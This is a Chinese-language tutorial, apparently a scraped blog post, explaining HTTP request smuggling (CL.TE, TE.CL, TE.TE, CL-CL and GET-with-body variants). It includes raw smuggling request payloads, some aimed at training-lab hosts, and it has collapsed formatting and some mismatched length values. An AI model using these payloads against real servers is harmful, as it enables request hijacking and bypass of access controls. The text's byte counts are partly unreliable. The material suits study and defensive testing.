微信对接网站群,wordpress 做值班表,郑州app制作公司,网络设计原则有哪些想都是问题#xff0c;做才是答案 什么是请求走私#xff1f; HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式#xff0c;进行绕过安全机制#xff0c;实施未授权访问一种攻击手段#xff0c;获取敏感信息#xff0c;并直接危害其他用户。 Web 应用…想都是问题做才是答案 什么是请求走私 HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式进行绕过安全机制实施未授权访问一种攻击手段获取敏感信息并直接危害其他用户。 Web 应用程序经常在用户和最终应用程序逻辑之间使用 HTTP 服务器链。用户将请求发送到 前端服务器有时称为负载平衡器或反向代理此服务器将请求转发到一个或多个后端服务器。   当前端服务器将 HTTP 请求转发到后端服务器时它通常会通过同一后端网络发送多个请求 连接因为这更加高效和高性能。 在这种情况下前端和后端系统必须就请求之间的边界达成一致。否则一个 攻击者或许能够发送一个模棱两可的请求该请求的前端和后端系统会以不同的方式解释  在这里攻击者导致后端服务器将其前端请求的一部分解释为下一个请求的开始。是的 有效地预置到下一个请求之前因此可能会干扰应用程序处理该请求的方式。这是一个请求 走私攻击它可能会产生毁灭性的后果。 请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置即 Content-Length 和 Transfer-Encoding标头。 keep-Alive Pipeline Keep-Alive:告诉服务器接受完这次HTTP请求后不要关闭TCP链接厚民对相同目标服务器的HTTP请求重用这一个TCP链接这样只需要进行一次TCP握手可减少服务器开销节约资源还能加快访问速度在HTTP1.1中默认开启。 Pipeline:在这里客户端可以像流水线一样发送HTTP请求不需要等待服务器的响应服务器那边收到请求后需要遵循先入后出的机制警请求和响应对应起来在响应到客户端。 浏览器默认不启用Pipeline但一般浏览器都提供对Pipleline的支持。 CL TE  CL和TE即Content-Length 和 Transfer-Encoding 请求头 Content-Length头以字节为单位指定消息正文的长度 POST / HTTP/1.1 Host: cjg52xws.lab.aqlab.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate, br Authorization: Basic emthcTp6a2Fx Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 46{token:8e5c99732ec2a7b1b524936a2cfc1992} Transfer-Encoding头一般指定邮件正文使用分块编码例如 POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunkedb qsmuggling 0 每个块之间以换行符分割开直到块大小为0字节时视为正文的结束就是因为这两种不同的方法来指定HTTP消息的长度就导致如果同时使用这两个头会造成冲突HTTP规范中规定如果两个头同时存在则忽略Content-Length头此时如果出现一下两种情况 一些服务器不支持Transfer-Encoding头,如果对头做了混淆处理则有些服务器虽然支持Transfer-Encoding头也不会处理它 当我们设置TE为chunked时CL就会被省略。为了区分chunk的边界我们需要在每个chunk前面用16进制数来表示当前chunk的长度后面加上\r\n再后面就是chunk的内容然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer由 0 或多个实体头组成可以用来存放对数据的数字签名等。如下面这个例子(另外要注意\r\n占2字节) POST / HTTP/1.1\r\nHost: http://1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nqsmuggling\r\n6\r\nhahaha\r\n0\r\n\r\n 执行HTTP请求走私  CL.TE漏洞 首先请求包中需要同时包含CL头(Content-Length)和TE头Transfer-Encoding POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 13 Transfer-Encoding: chunked0SMUGGLED CL头设置的是13即从正问呢开始算包含13个字节的内容为止算是一个请求包但是当这个请求包发到后端服务器时会采用TE头来处理请求包此时会因为0的下一行是空行而认为此请求包已经结束了那么多出来的内容会杯认为是下一个请求包的开始此时则会产生HTTP请求走私攻击 例 POST / HTTP/2 Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Content-Type: aplication/x-www-urlencoded Content-Length: 8 Transfer-Encoding: chunked0G CL头的值为6就是包含三行共六个字节(包括换行符)TE头指定了使用分块编码发送两次请求包成功因为前后端处理方式不同而导致HTTP走私攻击 TE.CL漏洞  这一种就是前端服务器使用TE头处理而后端服务器使用CL头处理 POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 3 Transfer-Encoding: chunked8 SMUGGLED 0 原理就是前端服务器通过使用TE头指定的分块编码来分割处理请求包既然是分块编码就得指定每个分块的大小就如上述代码所示第一个分块大小为8字节长第二个分块大小为0分块编码会一直读取直到分块大小为0所以以上的请求包会被前端当成一个请求包转发到后端服务器但是到了后端服务器会因为CL头指定的长度仅包括了8及后面的CLRF字符而将这个请求包分割成两个处理这就导致了HTTP请求走私漏洞。 通俗的说后端的cl会识别请求cl中的3所以后端认为这个请求的内容是\r\n8,而后面的则会被当成第二个请求。 例 POST / HTTP/1.1 Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Content-Type: aplication/x-www-urlencoded Content-Length: 4 Transfer-Encoding: chunked5a GPOST / HTTP/1.1 Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Content-Type: aplication/x-www-urlencoded Content-Length: 15x1 0 注意0后面要有2个空行然后就也会因为前后端对HTTP请求方式不同而导致HTTP走私攻击。  TE.TE漏洞混淆TE头 前后端都支持TE头但是可以通过某种混淆手段让某一端不处理TE头。 Transfer-Encoding: chunked Transfer-Encoding: x 例 POST / HTTP/1.1 Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Content-Type: aplication/x-www-urlencoded Transfer-Encoding: chunked Transfer-Encoding: cow5a GPOST / HTTP/1.1 Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Content-Type: aplication/x-www-urlencoded Content-Length: 15x1 0 我们可以看到请求了两个Transfer-Encoding其中一个是混淆的所以就会导致在后端的时候不使用TE头来处理此时会转而采用CL头处理从而将一个HTTP请求拆分成两个导致HTTP走私攻击。 CL不为0的GET请求 GET / HTTP/1.1 Host: test.com Content-Length: 42GET / flag HTTP/1.1 Host: test.com 当前端代理服务器允许GET请求携带请求体后端服务器不允许GET请求携带请求体时发送这段请求服务器因为cl不允许携带请求体而会把这段请求分成2段请求。 CL-CL 当前后端都接受GET请求中有内容且不报错时根据RFC 7230当服务器收到的请求中包含两个 Content-Length 而且两者的值不同时需要返回400错误但是有的服务器并没有严格实现这个规范。这种情况下当前后端各取不同的 Content-Length 值时就会出现漏洞 POST / HTTP/1.1 Host: example.com Content-Length: 8 Content-Length: 7 12345 a 前端服务器按照第一个Content-Length的值对请求进行为数据包定界后端服务器则按照第二个Content-Length的值进行处理。这就导致了后台在接收到这段数据时根据Content-length认为请求包到12345就结束了把剩下的a作为下一个未请求完成请求包的一部分。